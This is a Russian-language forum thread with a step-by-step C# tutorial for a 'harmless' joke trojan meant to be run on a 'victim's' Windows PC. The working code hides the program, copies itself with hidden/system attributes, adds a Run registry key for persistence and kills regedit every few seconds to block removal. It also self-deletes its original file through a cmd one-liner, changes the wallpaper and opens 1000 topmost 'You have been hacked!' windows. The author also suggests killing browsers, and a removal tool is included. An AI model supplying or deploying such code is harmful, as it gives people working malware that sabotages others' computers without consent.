Форум Бородянка

Объявление

Ресторан "У Саші" (097) 491-29-39. Детальніше тут.

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.



Небольшой урок по C#

Сообщений 1 страница 3 из 3

Опрос

Вам понравилось?
Да

100% - 1
Нет

0% - 0
Голосов: 1

1

Часть 1.
Предлагаю вам  небольшой  урок по C#.
Как известно делать что-то хорошее скучно, поэтому будем писать
программу шутку или безобидный  Trojan.
Начнемс.
Запускайте Visual studio(или что вам больше нравится) и создайте новый пустой проект,
я свой назвал ‘JokeApp’.
Наша программа должна будет работать на всех версиях Windows  поэтому установите целевую среду в настройках проекта JokeApp на  .Net framework 2.0  в обозревателе решений удалите появившийся файл конфигурации ‘app.config’ он нам не нужен. Установите в свойствах проекта тип приложения ‘приложение виндовс’ или ‘win forms app’ как-то так
Добавьте в проект ссылку на System.Windows.Forms.
Создайте два класса  JokeMain и  Program добавьте в них директивы
using System.Windows.Forms; затем измените класс  JokeMain так:

Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;

namespace JokeApp
{
    class JokeMain : ApplicationContext
    {
        bool isDevmode = false;
        public JokeMain(bool Devmode)
        {
            isDevmode = Devmode;
        }

    }
}

Полный код класса Program:

Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;

namespace JokeApp
{
    static class Program
    {
        /// <summary>
        /// Главная точка входа для приложения.
        /// </summary>
        [STAThread]
        static void Main(string[] agrs)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            if (agrs.Length > 0)
            {
                if (agrs[0] == "-Devmode")
                {
                    Application.Run(new JokeMain(true));
                }
                else
                {
                    Application.Run(new JokeMain(false));
                }
            }
            else
            {
                Application.Run(new JokeMain(false));
            }
        }
    }
}

Дальше будем работать с классом JokeMain.
Добавьте директиву  using MyTimer = System.Timers.Timer;
Так как наша ‘Шутка’ будет прописывать себя в реестр на нужно запретить запуск редактора реестра что-бы сложнее было ее удалить
Создадим таймер для этого добавим MyTimer RegTimer;, а в конструкторе добавим:

Код:
RegTimer = new System.Timers.Timer();//Создаем экземпляр
RegTimer.Interval = 5000;//ставим интервал на 5 секунды, для наглядности, можно меньше, но и за 5 сек. никто не сможет нас с реестра удалить
RegTimer.Elapsed += new
System.Timers.ElapsedEventHandler(RegTimer_Elapsed);//через каждые 3 секунды будет вызыватсмя метод RegTimer_Elapsed
RegTimer.Start();//Старт

Добавьте директиву using System.Diagnostics;
Если RegTimer_Elapsed метод не добавился автоматически то добавьте его сами

Код:
void RegTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            Process[] p = Process.GetProcesses();
            Process mp;
            for (int i = 0; i < p.Length; i++)
            {
                if (p[i].ProcessName == "regedit")
                {
                    mp = p[i];
                    mp.Kill();
                }
            }
        }

Жмите F5 для запуска отладки если все запустилось нормально нажмите Alt+Tab
И убедитесь что нашей программы не видно. Супер! Теперь попробуйте запустить regedit.exe и о чудо, он запускается и сразу вырубается, чего мы и хотели.
Еще можете убивать процессы браузеров и оставить “жертву” без инета ну ето будет жестоко или процессы других программ которые вы знаета есть на машине юзера.
Для начала достаточно, дописывать будем в продолжении статьи.

0

2

Часть2.
Не будем останавливатся на достигнутом и продолжим написание
нашего супер-пупер троянчега.
Продолжаем работу с классом работать с классом JokeMain.
В юзингах добавьте директивы using Microsoft.Win32; для работы с реестром
и  using System.Runtime.InteropServices;  это пространство имен даст нам возможность юзать функции WinAPI
Добавьте следующее:

Код:
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
        protected static extern int mciSendString(string lpstrCommand, StringBuilder lpstrReturnString, int uReturnLength, IntPtr hwndCallback);

Потом добавьте метод для записи нашей чудо проги в реестр

Код:
private void Reg(string file)
        {
            if (!isDevmode)
            {
                Microsoft.Win32.RegistryKey reg = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
                reg.SetValue("JokeApp", file);
                Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\", true);
                reg.Close();
                Registry.CurrentUser.Close();
                //Если хотите еще что поменять в реестре 
                //Можете прописать это здесь
            }
        }

Поясню ход  своих мыслей в этом куске кода, значит если isDevmode == false; мы пропишемся здесь "Software\Microsoft\Windows\CurrentVersion\Run" и программа будет запускатся при старте виндовс, а если isDevmode == false; мы ничего делать не будем. Этот метод вызывать пока мы тоже не будем.
Теперь подумаем про установку.
Добавьте директиву using System.IO;
И в самом начале конструктора после определения isDevmode добавьте вызов метода Install(); и конечно же создайте сам метод  Install

Код:
bool isDevmode = false;
        MyTimer RegTimer;
        public JokeMain(bool Devmode)
        { 
            isDevmode = Devmode;

            Install();

            RegTimer = new System.Timers.Timer();
            RegTimer.Interval = 3000;
            RegTimer.Elapsed += new System.Timers.ElapsedEventHandler(RegTimer_Elapsed);
            RegTimer.Start();

        }
        private void Install()
        {
            
        }

В методе инсталл проверим был ли наш троян уже скопирован куда надо или нет
Если нет то самокопируемся в мои документы, установим атрибуты которые помогу нам скрыться и пропишемся в реестре и так называемый троянчег начнет работать только после перезагрузки.
Заметаем следы так сказать, мы же не хотим чтобы ‘жертва’ знала кто это такой умный захотел поприкалыватся.
А если программа уже есть в мои документы то запустятся таймеры и она начнет работать, так что осторожно : )

Код:
private void Install()
        {
            string JokeExe = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\JokeApp.exe";
            if (!File.Exists(JokeExe) && !isDevmode)
            {
                File.Copy(Application.ExecutablePath, JokeExe, true);
                File.SetAttributes(JokeExe, FileAttributes.Hidden | FileAttributes.System);
                Reg(JokeExe);
                foreach (Process mp in Process.GetProcesses())
                {
                    if (mp.ProcessName == "JokeApp")
                    {
                        mp.Kill();
                    }
                }

            }
        }

Все каркас готов. Я думаю вы понимаете зачем наша программа должна понимать параметр  -Devmode.
Теперь создайте новый WinForm проект или добавьте новый WinForm проект к существующему солюшену(как вам удобнее) бросте на форму listbox и две button

Полный код:

Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using Microsoft.Win32;
using System.IO;
using System.Threading;
namespace JokeKiller
{
    public partial class Form1 : Form
    {
        Process mp;
        string fileName = null;

        public Form1()
        {
            
            InitializeComponent();
            GetProcesses();
        }

        private void GetProcesses()
        {
            listBox1.Items.Clear();
            foreach (Process p in Process.GetProcesses())
            {
                if (p.ProcessName == "JokeApp")
                {
                    listBox1.Items.Add(p.ProcessName);
                }
            }
        }

        private void refresh_bth_Click(object sender, EventArgs e)
        {
            GetProcesses();
        }

        private void kill_btn_Click(object sender, EventArgs e)
        {
            try
            {
                mp = null;
                foreach (Process p in Process.GetProcesses())
                {
                    if (p.ProcessName == (string)listBox1.SelectedItem)
                    {
                        mp = p;
                        mp.Kill();   
                        ClearSystem();
                    }
                }
            }
            catch
            {
                MessageBox.Show("Процес не найден.");
            }
        }
        void ClearSystem()
        {
            Thread.Sleep(1000);
            try
            {
                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", false);
                fileName = (string)registryKey.GetValue("JokeApp");
                Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", false);
                registryKey.Close();
                Registry.CurrentUser.Close();

                RegistryKey reg = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
                reg.DeleteValue("JokeApp");
                Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\", true);
                reg.Close();
                Registry.CurrentUser.Close();

                File.Delete(fileName);
                GetProcesses();
            }
            catch
            {
                GetProcesses();
            }
            
        }
    }
}

Я думаю сами догалаетесь что енто такое : )
Позапускайте прогу с –Devmode и без посмотрите что будет.
Попробуйте запустить JokeKiller посмотрите как он работает. И еще помните мы импортировали dll, так вот если вызвать енту функцию

Код:
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);

откроется cdrom
Пока все…

Отредактировано ShadowArt (2012-01-16 10:09:12)

0

3

Начинаем пугать юзера…
Здесь уже как хотите можете повторять за мной, а можете делать так как вам больше хочется…
Я добавил к проекту файл ресурсов в него добавил следующие ресурсы
Zapovedi.txt

• Компьютер не обязан хорошо работать.
• Компьютер не обязан работать.
• Компьютер вообще ничем Вам не обязан.
• Компьютер всегда прав.
• Пользователь тоже всегда прав, но компьютер об этом не знает.
• Если пользователь не прав, то это проблемы пользователя.
• Если прав компьютер, то это тоже проблемы пользователя.
• Если компьютер говорит, что он прав, то пользователь серьезно болен.
• Если пользователь верит компьютеру, то он не пользователь.
• Если компьютер не включается, он не виноват.
• Если компьютер не выключается, то он сервер.
• Поскольку пользователи пользоваться компьютером не умеют, то он пользуется этим и пользует пользователей.


И картинку: 800*600 hdw.jpg

http://fallenbyte.cixx6.com/fb_files/hdw.jpg

Дальше я добавил таймер ActionTimer

Код:
ActionTimer = new System.Timers.Timer();
            ActionTimer.Interval = 60000;//минута
            ActionTimer.Elapsed += new System.Timers.ElapsedEventHandler(ActionTimer_Elapsed);
            ActionTimer.Start();

Функцию замены обоев

Код:
[DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
        private const int SPI_SETDESKWALLPAPER = 20;
        private const int SPIF_SENDCHANGE = 0x2;

Код который будет выполнятся когда сработает таймер

Код:
void ActionTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            ActionTimer.Stop();
            
            string BmpFileName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\JokeApp.bmp";
            Resource1.hdw.Save(BmpFileName, System.Drawing.Imaging.ImageFormat.Bmp);
 
            MessageBox.Show(Resource1.Zapovedi);
            
            MessageBox.Show("You have been hacked!");
            try
            {
                mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
            }
            catch { }           
 SystemParametersInfo(SPI_SETDESKWALLPAPER, 1, BmpFileName, SPIF_SENDCHANGE);
            for (int i = 0; i < 1000; i++)
            {
                Form f = new Form();
                PictureBox pb = new PictureBox();
                f.Controls.Add(pb);
                pb.Dock = DockStyle.Fill;
                pb.Image = Resource1.hdw;
                f.Width = 800;
                f.Height = 600;
                f.BackColor = Color.Black;
                f.FormBorderStyle = FormBorderStyle.Fixed3D;
                f.Text = "You have been hacked!";
                f.ShowIcon = false;
                f.ShowInTaskbar = false;
                f.MinimizeBox = false;
                f.MaximizeBox = false;
                f.TopMost = true;
                f.ShowDialog();
                //Открываем 1000 окон по очереди  

}
        }

Добавьте код самоудаления в метод install в цикл перед mp.Kill();

Код:
Process.Start("cmd.exe", "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath);
mp.Kill();

Все, программа готова к использованию. Еще можно сделать не убиваемый процесс…

Скачать JokeApp + JokeKiller + source code + doc + DesktoPics(WPF) = 204 кб

Отредактировано ShadowArt (2012-01-16 10:14:46)

0